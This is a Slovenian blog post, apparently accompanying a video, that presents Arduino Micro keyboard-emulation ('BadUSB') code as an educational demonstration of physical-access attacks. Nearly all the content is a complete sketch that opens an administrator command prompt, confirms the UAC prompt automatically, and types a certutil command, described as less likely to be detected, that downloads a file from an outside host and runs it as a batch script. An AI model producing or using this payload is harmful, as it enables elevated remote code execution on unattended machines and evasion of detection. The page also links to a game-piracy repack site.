Arduino Micro hack

V tem videu prikazujem, kako lahko na videz nedolžna naprava, kot je Arduino Micro, predstavlja resno varnostno tveganje, če pade v napačne roke. Namen posnetka je izključno izobraževalen — pokazati želim, kako hitro lahko napadalec avtomatizira škodljiva dejanja ter zakaj je pomembno, da svoje računalnike in fizični dostop do njih vedno ustrezno zaščitimo. Demonstracija predstavlja pogled iz perspektive napadalca zgolj zato, da bolje razumemo, kako potekajo takšni napadi in kako se jim lahko učinkovito izognemo. 

Code:
#include <Keyboard.h>

void setup() {
  delay(10000);
  Keyboard.begin();
  
  // Open Run dialog as administrator
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(2000);
  
  // Type "cmd" and press Ctrl+Shift+Enter to run as administrator
  Keyboard.print("cmd");
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(5000);
  
  // Handle UAC prompt - press Enter to confirm
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(5000);
  
  // Use certutil for download (less likely to be detected)
  Keyboard.print("certutil -urlcache -split -f http");
  
  // Add 's' for https if needed
  // Keyboard.write('s');
  
  // : (shift + .)
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.write('.');
  Keyboard.releaseAll();
  
  // / (shift + 7) twice
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.write('7');
  Keyboard.releaseAll();
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.write('7');
  Keyboard.releaseAll();
  
  // test01.si - type z to get y
  Keyboard.print("t");      // t
  Keyboard.write('e');      // e 
  Keyboard.print("s");      // s
  Keyboard.write('t');      // t
  Keyboard.write('0');      // 0
  Keyboard.print("1");      // 1
  Keyboard.write('.');      // .
  Keyboard.print("s");      // s
  Keyboard.write('i');      // i
  
  // / (shift + 7)
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.write('7');
  Keyboard.releaseAll();
  
  Keyboard.print("bnet");
  
  // / (shift + 7)
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.write('7');
  Keyboard.releaseAll();
  
  Keyboard.print("cmd.txt cmd.bat && cmd.bat");
  
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  
  Keyboard.end();
}

void loop() {}
Viri:
https://docs.arduino.cc/tutorials/micro/keyboard-press/
https://www.youtube.com/watch?v=dE-I5xKtmso



Deli članek:

Facebook Twitter LinkedIn

Povezane novice

Ni denarja za IGRICE? obišči fitgirl repack stran...

Ni denarja za IGRICE? obišči fitgirl repack stran...

07.12.2025

Komentarji (1)

Za komentiranje se prosimo prijavite. Prijava ali Registracija.

Tine
Tine Član
07.12.2025 23:03
aaaaa